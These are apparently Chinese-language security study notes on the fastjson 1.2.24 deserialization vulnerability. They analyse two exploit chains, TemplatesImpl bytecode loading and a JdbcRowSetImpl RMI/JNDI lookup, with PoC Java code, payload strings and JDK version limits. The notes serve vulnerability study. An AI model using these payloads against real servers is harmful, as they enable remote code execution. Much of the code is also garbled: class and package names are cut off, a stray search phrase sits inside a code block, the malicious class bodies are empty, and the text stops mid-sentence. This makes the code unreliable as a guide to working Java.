java安全学习笔记--fastjson1.2.24反序列化漏洞两种利⽤链分
析(Templ。。。
测试环境
fastjson 1.2.24
Fastjson简介及⽤法
Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,常⽤在前后端分离的项⽬中,⽤来处理前端传来的json数据,JSON字符串和Java对象的转换就是基于序列化和反序列化来实现的。
演⽰代码:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
class Person{
int age;
String name;
public Person(){
System.out.println("Person⽆参构造");
}
public Person (int age,String name){
this.age=age;
this.name=name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setName");
this.age = age;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}
public class fastjson1Poc {
public static void main(String[] args) {
Person person=new Person(18,"Bob");
String jsonString= JSONString(person);
String jsonString2= JSONString(person, SerializerFeature.WriteClassName);        System.out.println("常⽤json字符串格式");
System.out.println(jsonString);
System.out.println(JSON.parseObject(jsonString,Person.class));
System.out.println("带@type属性的json字符串格式");
System.out.println(jsonString2);
JSON.parseObject(jsonString2);
}
}
输出:
常⽤json字符串格式
{"age":18,"name":"Bob"}
Person⽆参构造
setName
setName
带@type属性的json字符串格式
{"@type":"st.Person","age":18,"name":"Bob"}
Person⽆参构造
setName
setName
getAge
getName
带有@type属性的字符串在被转换为对象时,会根据value值到对应的对象,会进⾏⼀个实例化的操作以及调⽤属性的set和get⽅
法,POC就是围绕这个点来构造的,有两种POC⼀种是利⽤TemplateImp对_bytescode赋值并调⽤实例化代码触发构造函数或静态代码块中的恶意代码,另外⼀种是利⽤JdbcRowSetImpl远程加载恶意类。
恶意类
st;
import apache.xalan.internal.xsltc.DOM;
import apache.xalan.internal.xsltc.TransletException;
import apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import l.internal.dtm.DTMAxisIterator;
import l.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass extends AbstractTranslet{
//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
public evilClass() {
super();
try {
}catch (Exception e){
e.printStackTrace();
}
}
//两种触发⽅式构造⽅法和静态代码块
static {
try {
} catch (IOException e) {
e.printStackTrace();
}}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
TemplateImp利⽤链POC  :
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassPool;
import javassist.CtClass;
l.bind.DatatypeConverter;
public class fastjson1Poc {
public static void main(String[] args) throws Exception{
ClassPool Default();
CtClass CtClass("st.evilClass");
byte[] Bytecode();
String payload = "{\"@type\":\"apache.xalan.ax.TemplatesImpl\"" +
",\"_bytecodes\":[\""+DatatypeConverter.printBase64Binary(bytes)+"\"],"
+ "'_name':\"TempletaPoc\"," + "'_tfactory':{}," + "\"outputProperties\":{}}";
System.out.println(payload);
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
在⽹上看到的POC中有⼀些是把⼀个base64字符串直接就赋值给了_bytecodes,像下⾯这个
String byteCode = ""
这个字符串是对恶意类转换成的byte数组进⾏base64加密得来的。
POC中可以看到@type,_bytecodes,_name,_tfactory,_outputProperties这4个key,这条利⽤链是通过对TemplatesImpl的
_bytecodes赋值,再把_bytecodes字节码还原为类,并实例化,这两个操作主要是通过getOutputProperties⽅法触发的,可以看到触发了newTransformer⽅法,也就是cc2利⽤的⽅法,newT
ransformer⽅法中会同时进⾏还原为类和实例化的操作。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
_name,_tfactory这两个属性不为空就⾏,运⾏过程中不报错.
关键在于outputProperties,这个key也可以写成_outputProperties或-outputProperties都可以,因为fastj
son在反序列化的时候会对key值进⾏处理,检测第⼀个字符是否为-或_,并替换为空,再通过outputProperties去触发这个属性的get和set⽅法,这时就会触发getOutputProperties⽅法实例化恶意类并触发恶意代码。
利⽤限制
这个利⽤链有⼀个限制,就是后台获取解析json数据要在⽅法中加Feature.SupportNonPublicField属性,像下⾯这样,因为outputProperties是private属性。
JSON.parse(payload, Feature.SupportNonPublicField);
JSON.parseObject(payload, Feature.SupportNonPublicField);
JdbcRowSetImpl利⽤链POC  :
RMI利⽤的JDK版本≤ JDK 6u132、7u122、8u113
LADP利⽤JDK版本≤ 6u211 、7u201、8u191
rmi版:
import com.alibaba.fastjson.JSON;
public class fastJsonPOC2 {
public static void main(String[] args) {
String payload = "{\"@type\":\"wset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/class\", \"autoCommit\":true}";            JSON.parse(payload);
}
}
rmi服务端和注册中⼼直接写⼀起了,没写⼀起可以⽤getRegistrt()⽅法获取注册中⼼再绑定类,这个⽅法也可以⽤来攻击注册中⼼。
根据FasJson的解析过程,dataSourceName这⾥会进⼊到else代码块中调⽤⽗类setDataSourceName(var1),
public void setDataSourceName(String var1) throws SQLException {
if (DataSourceName() != null) {
if (!DataSourceName().equals(var1)) {
String var2 = DataSourceName();
super.setDataSourceName(var1);
< = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1);
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
fastjson怎么用}
}
autoCommit会调⽤到setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if ( != null) {
} else {
< = t();
}
}
这⾥会调⽤到t(),可以看到代码new InitialContext⽣成jndi上下⽂环境,然后调⽤lookup()请求